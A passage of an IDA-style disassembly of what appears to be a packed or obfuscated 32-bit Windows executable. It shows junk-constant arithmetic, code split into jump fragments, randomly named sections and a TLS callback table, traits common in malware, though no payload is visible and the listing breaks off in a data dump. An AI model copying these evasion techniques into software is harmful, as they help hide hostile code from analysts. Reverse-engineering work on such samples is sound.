XREF: sub_42FED8+6j push 8F6731FEh xchg eax, [esp+4+var_4] mov esi, eax pop eax call sub_42B5F6 ; END OF FUNCTION CHUNK FOR sub_42FED8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_42FAC4: ; CODE XREF: wto1jq8f:0042D25Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42FAC5: ; CODE XREF: sub_4282C1+659Dj jmp loc_42841A ; END OF FUNCTION CHUNK FOR sub_4282C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42FACA: ; CODE XREF: sub_42AECE-4783j jmp loc_42CC86 ; END OF FUNCTION CHUNK FOR sub_42AECE ; =============== S U B R O U T I N E ======================================= sub_42FACF proc near ; CODE XREF: sub_42ED32-7852p ; FUNCTION CHUNK AT 00424830 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042975C SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042A7D8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ACCF SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0042C372 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042DC03 SIZE 00000018 BYTES mov [esp+0], eax call sub_428430 test eax, eax jz loc_42975C jmp loc_42A7D8 sub_42FACF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42FAE4 proc near ; DATA XREF: sub_42C859-1696o ; FUNCTION CHUNK AT 00424995 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004286CA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042BDFE SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042C0C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E41F SIZE 0000000B BYTES push ebx push 4A2B8815h pop ebx and ebx, 0ACDCE4ABh loc_42FAF1: ; CODE XREF: sub_424573+8j add ebx, 77F78000h jmp loc_42C0C8 sub_42FAE4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42FAFC: ; CODE XREF: sub_426E98+106j call sub_42DD2D mov al, 1 pop edx call edx xor eax, eax mov [ebp-4], eax mov eax, [ebp-4] pop ecx jmp loc_429D75 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA7 loc_42FB14: ; CODE XREF: sub_427DA7+1Ej adc ecx, edx mov eax, ecx xchg ebp, [esp+0] mov edx, ebp loc_42FB1D: ; CODE XREF: wto1jq8f:0042CB23j pop ebp jmp loc_42ED18 ; END OF FUNCTION CHUNK FOR sub_427DA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4291B9 loc_42FB23: ; CODE XREF: sub_4291B9:loc_429440j push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_4291B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_42FB2A: ; CODE XREF: sub_426968+E47j jmp loc_42B5AF ; END OF FUNCTION CHUNK FOR sub_426968 ; =============== S U B R O U T I N E ======================================= sub_42FB2F proc near ; CODE XREF: sub_4262CE+Bp ; sub_4283CC+7B9p ... ; FUNCTION CHUNK AT 004295F1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042EFF0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F50A SIZE 00000005 BYTES jnb loc_42EFF0 push ebp mov ebp, esp push 909CA56Ah jmp loc_42F50A sub_42FB2F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 51C4h dword_42FB44 dd 0 ; sub_42A8ED:loc_42BA9Fw ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42FB48: ; CODE XREF: sub_426535+1E92j jmp loc_42710C ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- db 0C0h, 0E7h, 2Dh dword_42FB50 dd 0 ; sub_42B02D-221Cr ... ; --------------------------------------------------------------------------- loc_42FB54: ; CODE XREF: wto1jq8f:0042DEA8j jmp loc_4291E7 ; --------------------------------------------------------------------------- db 0B6h, 42h, 6Fh dword_42FB5C dd 0 ; sub_42B02D:loc_42B393w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A985 loc_42FB60: ; CODE XREF: sub_42A985-3616j jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_42A985 ; --------------------------------------------------------------------------- db 55h, 0BEh, 0AAh dword_42FB68 dd 0 ; sub_424585+35A8o ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42FB6C: ; CODE XREF: sub_42CB36-633Bj jmp loc_42CD90 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427143 loc_42FB71: ; CODE XREF: sub_427143+2A5Ej jo loc_425F61 cmp esi, ecx jmp loc_4292F0 ; END OF FUNCTION CHUNK FOR sub_427143 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42FB7F: ; CODE XREF: wto1jq8f:0042BEBBj jmp loc_42A87D ; =============== S U B R O U T I N E ======================================= sub_42FB84 proc near ; CODE XREF: wto1jq8f:00424359p xchg eax, [esp+0] mov eax, [esp+0] rol eax, 14h mov ds:dword_42DB20, eax retn sub_42FB84 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_42FB94: ; CODE XREF: sub_42A3DA+2949j jmp nullsub_187 ; END OF FUNCTION CHUNK FOR sub_42A3DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42FB99: ; CODE XREF: sub_42D69D+1Cj ror eax, 14h call sub_42C0C1 loc_42FBA1: ; CODE XREF: wto1jq8f:0042CCADj jmp loc_42AC55 ; END OF FUNCTION CHUNK FOR sub_42D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427652 loc_42FBA6: ; CODE XREF: sub_427652+9j jmp sub_42CB36 ; END OF FUNCTION CHUNK FOR sub_427652 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C93C loc_42FBAB: ; CODE XREF: sub_42C93C+10j push offset sub_427652 jmp loc_42A1E9 ; END OF FUNCTION CHUNK FOR sub_42C93C ; =============== S U B R O U T I N E ======================================= sub_42FBB5 proc near ; CODE XREF: wto1jq8f:0042740Cj ; sub_42A5BE+3B19p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00429ECC SIZE 00000014 BYTES xchg edx, [esp-4+arg_0] pop edx xchg ecx, [esp+0] mov ebx, ecx pop ecx rol ebx, 0Dh jmp loc_429ECC sub_42FBB5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42FBC7 proc near ; DATA XREF: sub_4272B5+Co var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004265AE SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0042678D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426E25 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427C02 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C142 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042E222 SIZE 00000008 BYTES test eax, eax jle loc_42F5A8 jmp loc_426E25 sub_42FBC7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AEDD loc_42FBD4: ; CODE XREF: sub_42AEDD+12j jz loc_42D9E7 jmp loc_426030 ; END OF FUNCTION CHUNK FOR sub_42AEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_42FBDF: ; CODE XREF: sub_42BE69+7j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] push offset loc_427BCF jmp loc_42A940 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241AD loc_42FBEF: ; CODE XREF: sub_4241AD+Aj xor ecx, 63778894h call sub_427674 loc_42FBFA: ; CODE XREF: wto1jq8f:004299E0j ror esi, 0Bh ; END OF FUNCTION CHUNK FOR sub_4241AD ; =============== S U B R O U T I N E ======================================= sub_42FBFD proc near ; CODE XREF: sub_426968-844p ; FUNCTION CHUNK AT 0042823F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EA4D SIZE 00000016 BYTES mov [esp+0], ebx pop ebx test byte ptr [eax-10h], 38h jnz loc_42D6FF jmp loc_42823F sub_42FBFD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294F4 loc_42FC10: ; CODE XREF: sub_42C486-1C5j ; sub_4294F4:loc_42F709j push 0A9788D14h pop edx xor edx, 0EE78B8C4h and edx, 2D24FE5Fh xor edx, 64988B0Ah jmp loc_42C31F ; END OF FUNCTION CHUNK FOR sub_4294F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42FC2D: ; CODE XREF: sub_427A8D:loc_42DAE8j mov eax, [ebp-4] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42FC34: ; CODE XREF: sub_42EDB9+CA3j jmp loc_428EAF ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42FC39: ; CODE XREF: sub_42970D+2AD6j ror eax, 1Ah jmp loc_428B39 ; END OF FUNCTION CHUNK FOR sub_42970D ; =============== S U B R O U T I N E ======================================= sub_42FC41 proc near ; CODE XREF: sub_424D63+6p ; sub_42970D:loc_42764Dj ; FUNCTION CHUNK AT 0042DEED SIZE 0000000C BYTES mov [esp+0], edx pop edx mov [ebp-8], edx mov [ebp-4], eax jmp loc_42DEED sub_42FC41 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42FC50 proc near ; CODE XREF: wto1jq8f:00429B5Bj ; sub_42DFF0+1p xchg edx, [esp+0] pop edx rol eax, 4 mov ds:dword_42E520, eax retn sub_42FC50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_42FC5E: ; CODE XREF: sub_42DCB4+Dj jmp loc_425FC1 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42FC63: ; CODE XREF: sub_426C0C+5D5Ej jmp loc_42F04D ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D4F loc_42FC68: ; CODE XREF: sub_426D4F+Cj ror eax, 4 xchg eax, edx jmp loc_42AECA ; END OF FUNCTION CHUNK FOR sub_426D4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_42FC72: ; CODE XREF: sub_426350+158Bj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F25F loc_42FC74: ; CODE XREF: sub_42F25F-7FB5j ; wto1jq8f:00427B79j inc dword ptr [ebp-18h] dec dword ptr [ebp-1Ch] jnz loc_4290D6 jmp loc_429B61 ; END OF FUNCTION CHUNK FOR sub_42F25F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FC85 proc near ; CODE XREF: sub_4260A9+Cp ; sub_42F25F-7FBDp ... var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042630E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004294B4 SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h jmp loc_4294B4 sub_42FC85 endp ; =============== S U B R O U T I N E ======================================= sub_42FC90 proc near ; DATA XREF: wto1jq8f:0042508Eo xchg edx, [esp+0] jmp sub_42D765 sub_42FC90 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F5E5 loc_42FC98: ; CODE XREF: sub_42F5E5:loc_428E97j ; sub_42EDB9:loc_42B196j add ebx, ecx pop edx pop ecx xchg esi, [esp-8+arg_4] mov ebx, esi adc esi, 0D0481573h jmp loc_4281EB ; END OF FUNCTION CHUNK FOR sub_42F5E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42506F loc_42FCAC: ; CODE XREF: sub_42506F:loc_426C94j ; sub_42506F+63BEj call sub_4242D6 mov edx, 9E99B23Eh push edi call sub_42CF89 loc_42FCBC: ; CODE XREF: sub_4240DC+9011j jmp loc_4271AA ; END OF FUNCTION CHUNK FOR sub_42506F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42FCC1: ; CODE XREF: sub_42AA68+12A7j jmp loc_42F7E3 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- loc_42FCC6: ; CODE XREF: wto1jq8f:0042F7A2j test ecx, 5D9318A2h jmp loc_42BB9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42FCD1: ; CODE XREF: sub_427A8D+Cj cmp ds:dword_42D5CC, 0 jnz loc_42ABD0 call sub_42B2A8 loc_42FCE3: ; CODE XREF: sub_4260DB:loc_42C24Cj xchg edi, [esp+18h+var_18] mov esp, ebp pop ebp mov eax, ds:dword_42F094 jmp loc_42C46B ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- loc_42FCF4: ; CODE XREF: wto1jq8f:00428213j pop ebx mov eax, [eax] push eax call sub_4245B5 jmp loc_42A8B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CED1 loc_42FD02: ; CODE XREF: sub_42CED1:loc_42D31Dj push 0F5F176E1h pop eax sub eax, 2D64ABA8h or eax, 7D88C91Ah add eax, 2B59279h xchg eax, [esp+4+var_4] jmp loc_429955 ; END OF FUNCTION CHUNK FOR sub_42CED1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF00 loc_42FD23: ; CODE XREF: sub_42CF00+Ej jmp nullsub_213 ; END OF FUNCTION CHUNK FOR sub_42CF00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294F4 loc_42FD28: ; CODE XREF: sub_4294F4+13j jmp loc_42F709 ; END OF FUNCTION CHUNK FOR sub_4294F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4292B9 loc_42FD2D: ; CODE XREF: sub_4292B9+Cj jmp loc_427C87 ; END OF FUNCTION CHUNK FOR sub_4292B9 ; --------------------------------------------------------------------------- loc_42FD32: ; CODE XREF: wto1jq8f:0042F60Fj pop edi ; =============== S U B R O U T I N E ======================================= sub_42FD33 proc near ; CODE XREF: wto1jq8f:0042F2B3p mov [esp+0], edi pop edi push eax call sub_42DA42 sub_42FD33 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426144 loc_42FD3D: ; CODE XREF: sub_426144-1445j jmp loc_42F680 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- loc_42FD42: ; DATA XREF: sub_42E9E8-6529o mov ecx, edx pop edx mov eax, [ebp-0Ch] call sub_42689A ; START OF FUNCTION CHUNK FOR sub_4296B3 loc_42FD4D: ; CODE XREF: sub_4296B3+19j jmp nullsub_192 ; END OF FUNCTION CHUNK FOR sub_4296B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42FD52: ; CODE XREF: sub_426535+D5Bj jmp loc_42F49C ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42FD57: ; CODE XREF: sub_4294F4+Dj ; sub_4244EA:loc_42A4E4j mov eax, ds:dword_42F1F0 push offset sub_4241AD jmp loc_429893 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_42FD66: ; CODE XREF: sub_4266B1-A02j push edx push 35BDB2F2h pop edx and edx, 6AF3B04Fh add edx, 0DF90E52Ah jmp loc_42E5EC ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_42FD7E: ; CODE XREF: sub_426350+8693j mov eax, [eax+18h] dec eax push offset sub_425C0D jmp nullsub_195 ; END OF FUNCTION CHUNK FOR sub_426350 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B8FC loc_42FD8C: ; CODE XREF: sub_42B8FC:loc_42808Cj ; sub_42B8FC+836j call sub_424585 mov edx, 0B242B436h call sub_429165 push eax rol eax, 0Ah mov ds:dword_429078, eax retn ; END OF FUNCTION CHUNK FOR sub_42B8FC ; --------------------------------------------------------------------------- loc_42FDA6: ; CODE XREF: wto1jq8f:loc_42DE49j ror eax, 0Ah jmp loc_42E52C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_42FDAE: ; CODE XREF: sub_4262CE+10j push eax call sub_4291B9 test eax, eax jnz loc_4279D2 jmp loc_424DEC ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- jnz loc_42C13D jmp sub_42AAF6 ; --------------------------------------------------------------------------- loc_42FDCC: ; DATA XREF: sub_426C0C:loc_42C8FCo xchg esi, [esp] jmp loc_4267DC ; --------------------------------------------------------------------------- loc_42FDD4: ; DATA XREF: wto1jq8f:00429A13o mov eax, [eax] or eax, eax jnz loc_42CDEC call sub_424585 mov edx, 95918C9Dh push edi push 1B7A2308h jmp loc_425D1E ; --------------------------------------------------------------------------- loc_42FDF3: ; DATA XREF: sub_42B02D:loc_42E090o mov eax, ds:dword_42FB5C mov al, [eax] sub al, 99h mov edx, ds:dword_42FB5C call sub_42C075 ; START OF FUNCTION CHUNK FOR sub_42E04D loc_42FE07: ; CODE XREF: sub_42E04D+19j jmp loc_42E27E ; END OF FUNCTION CHUNK FOR sub_42E04D ; --------------------------------------------------------------------------- ja loc_42D2ED jmp sub_42DECB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42FE17: ; CODE XREF: sub_42AA68+4D85j jnz loc_42A47F jmp loc_42DCAF ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D69D loc_42FE22: ; CODE XREF: sub_42D69D+137Aj pop edi loc_42FE23: ; CODE XREF: sub_42D69D:loc_42D503j call sub_424585 mov edx, 0CB804A30h push edx push 1307FB21h adc edx, 31016580h jmp loc_42DEC5 ; END OF FUNCTION CHUNK FOR sub_42D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282C1 loc_42FE3E: ; CODE XREF: sub_4282C1+510Bj ror ecx, 0Fh sbb edi, 3941489Bh jmp loc_42E132 ; END OF FUNCTION CHUNK FOR sub_4282C1 ; =============== S U B R O U T I N E ======================================= sub_42FE4C proc near ; CODE XREF: sub_42992F+3p ; FUNCTION CHUNK AT 0042592E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426DD1 SIZE 00000014 BYTES mov [esp+0], ecx mov esp, ebp xchg edx, [esp+0] mov ebp, edx jmp loc_42592E sub_42FE4C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42414C loc_42FE5B: ; CODE XREF: sub_42414C+3j push ecx mov esp, ebp xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_429088 or eax, eax jnz loc_42BD7C jmp loc_42F853 ; END OF FUNCTION CHUNK FOR sub_42414C ; =============== S U B R O U T I N E ======================================= sub_42FE77 proc near ; CODE XREF: sub_4272CB+9p ; sub_42506F+4F85j ; FUNCTION CHUNK AT 00426328 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426508 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00427A2B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EF2E SIZE 00000014 BYTES xchg eax, [esp+0] pop eax test eax, eax jz loc_42EF2E jmp loc_42C8BC sub_42FE77 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A617 loc_42FE89: ; CODE XREF: sub_42A617+4C1Ej jmp loc_42D6F9 ; END OF FUNCTION CHUNK FOR sub_42A617 ; --------------------------------------------------------------------------- jz loc_424EE2 sub eax, 0B7D0FCEEh jmp sub_424635 ; --------------------------------------------------------------------------- loc_42FE9F: ; DATA XREF: sub_42C486:loc_42DD90o xor eax, 16814789h shl eax, cl mov edx, [ebp-18h] shr edx, 3 mov ecx, ds:dword_429558 jmp loc_42BAE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42FEB8: ; CODE XREF: sub_429D2E:loc_424FCCj not ecx jnz loc_42F473 cmp ebp, 655F33C1h jmp loc_426247 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- test al, al jz nullsub_44 jmp loc_4245E9 ; =============== S U B R O U T I N E ======================================= sub_42FED8 proc near ; CODE XREF: sub_424D3A+66DEp ; wto1jq8f:0042D8EFj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042FAB3 SIZE 00000010 BYTES mov [esp+0], ebx pop ebx push esi pushf jmp loc_42FAB3 sub_42FED8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E04D loc_42FEE3: ; CODE XREF: sub_42E04D:loc_42A5ECj pop edi add edi, 270F8DC8h xchg edi, [esp+4+var_4] jmp loc_4272E9 ; END OF FUNCTION CHUNK FOR sub_42E04D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42FEF2: ; CODE XREF: sub_42C0D7+3590j mov ebp, 0C8E10644h sbb esi, 50FEA0BBh jge loc_42C265 ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; =============== S U B R O U T I N E ======================================= sub_42FF03 proc near ; CODE XREF: sub_42C0D7:loc_426417j ; FUNCTION CHUNK AT 0042D7D3 SIZE 00000008 BYTES push ebx push 9E5EE2B0h pop ebx rol ebx, 3 add ebx, 0D4B9350h jmp loc_42D7D3 sub_42FF03 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42FF18: ; CODE XREF: sub_4284EC+1CA6j and ebx, edi mov ecx, 65630EAEh jmp loc_425FF1 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- or edx, 0C1ED4A61h jmp sub_426086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426842 loc_42FF2F: ; CODE XREF: sub_426842:loc_429EE5j not ebp sbb ecx, eax mov ebx, 0D531684Dh rol eax, 9 popf jmp loc_4279F3 ; END OF FUNCTION CHUNK FOR sub_426842 ; --------------------------------------------------------------------------- loc_42FF41: ; CODE XREF: wto1jq8f:00429108j add ecx, ebp add ecx, 1DEF0005h mov [ecx], eax pop ecx push 400h push offset sub_425A9E jmp loc_42599B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E0FD loc_42FF5B: ; CODE XREF: sub_42E0FD:loc_42C665j push eax retn ; END OF FUNCTION CHUNK FOR sub_42E0FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426FD6 loc_42FF5D: ; CODE XREF: sub_426FD6+7E30j jmp loc_4248DF ; END OF FUNCTION CHUNK FOR sub_426FD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42FF62: ; CODE XREF: sub_427A8D+185Ej jmp loc_42A02C ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42FF67: ; CODE XREF: sub_42A909-5BDBj push eax push 0ED493868h pop eax rol eax, 6 jb loc_42B874 cdq jmp loc_42997C ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- xchg esi, [edi] ; =============== S U B R O U T I N E ======================================= sub_42FF7F proc near ; CODE XREF: wto1jq8f:0042B6CAp xchg eax, [esp+0] pop eax push ebp mov ebp, esp call sub_42F5E5 sub_42FF7F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42C0DF loc_42FF8B: ; CODE XREF: sub_42C0DF+3929j jmp loc_42625C ; END OF FUNCTION CHUNK FOR sub_42C0DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42FF90: ; CODE XREF: sub_42AECE+1DBEj jmp loc_42D1E6 ; END OF FUNCTION CHUNK FOR sub_42AECE ; --------------------------------------------------------------------------- loc_42FF95: ; CODE XREF: wto1jq8f:0042A883j jmp loc_426794 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FF9A proc near ; CODE XREF: wto1jq8f:0042CCC0p ; FUNCTION CHUNK AT 00424C68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C9F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00429AD3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C863 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C9A1 SIZE 00000009 BYTES mov [esp+0], ebp mov ebp, esp push ebx push ecx jmp loc_42C863 sub_42FF9A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282A6 loc_42FFA6: ; CODE XREF: sub_4282A6+Aj pop ecx add ecx, 0C99B20E1h xchg ecx, [esp+0] jmp loc_42E68C ; END OF FUNCTION CHUNK FOR sub_4282A6 ; --------------------------------------------------------------------------- loc_42FFB5: ; CODE XREF: wto1jq8f:00425AE1j push 8AC1EB03h ; =============== S U B R O U T I N E ======================================= sub_42FFBA proc near ; CODE XREF: wto1jq8f:0042D4B0p ; FUNCTION CHUNK AT 00424100 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424FA8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042910D SIZE 00000020 BYTES ; FUNCTION CHUNK AT 004299F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F34B SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx or eax, eax jnz loc_42F34B jmp loc_424100 sub_42FFBA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_42FFCB: ; CODE XREF: sub_42B353-2289j jz loc_427D39 jmp loc_424A00 ; END OF FUNCTION CHUNK FOR sub_42B353 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42FFD6: ; CODE XREF: sub_42E9E8:loc_42A72Aj pushf adc ebp, eax jmp loc_428E5F ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FFDE proc near ; CODE XREF: sub_4250D4+3p ; sub_42F50F:loc_427989p var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00425B1A SIZE 0000000A BYTES push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_4], eax mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] mov [edx-10h], eax jmp loc_425B1A sub_42FFDE endp ; --------------------------------------------------------------------------- shr edi, 0Eh jmp sub_42481C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_430000: ; CODE XREF: sub_42D4FD:loc_42D564j jz loc_42EBF4 jmp loc_425FB9 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- push 314E776h not ecx jmp sub_42A289 ; --------------------------------------------------------------------------- TlsDirectory db 0 db 3 dup(0) TlsEnd_ptr db 0 db 3 dup(0) TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex db 0 ; DATA XREF: wto1jq8f:TlsIndex_ptro db 3 dup(0) TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: wto1jq8f:TlsCallbacks_ptro dd 0 db 78h dd 0BC2A2BD2h, 7734EBC8h, 0F55A72B2h db 81h, 30h, 0EFh db ? dd 3EDh dup(?) wto1jq8f ends ; Section 5. (virtual address 00031000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00018800 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read ye01sm84 segment para public 'DATA' use32 assume cs:ye01sm84 ;org 431000h dd 24000h, 78h, 3039301Bh, 307C305Ch, 30F730EEh, 315D3121h dd 31E13162h, 32B231F5h, 331632CCh, 33833379h, 342D340Ch dd 3488343Dh, 34A63496h, 34F134DBh, 3592356Ah, 361D360Bh dd 3675363Ch, 36923681h, 36BB36B6h, 373F373Ah, 3750374Ah dd 37B237A3h, 381337CBh, 39E438A4h, 3B9D3B21h, 3C433C25h dd 3D463C59h, 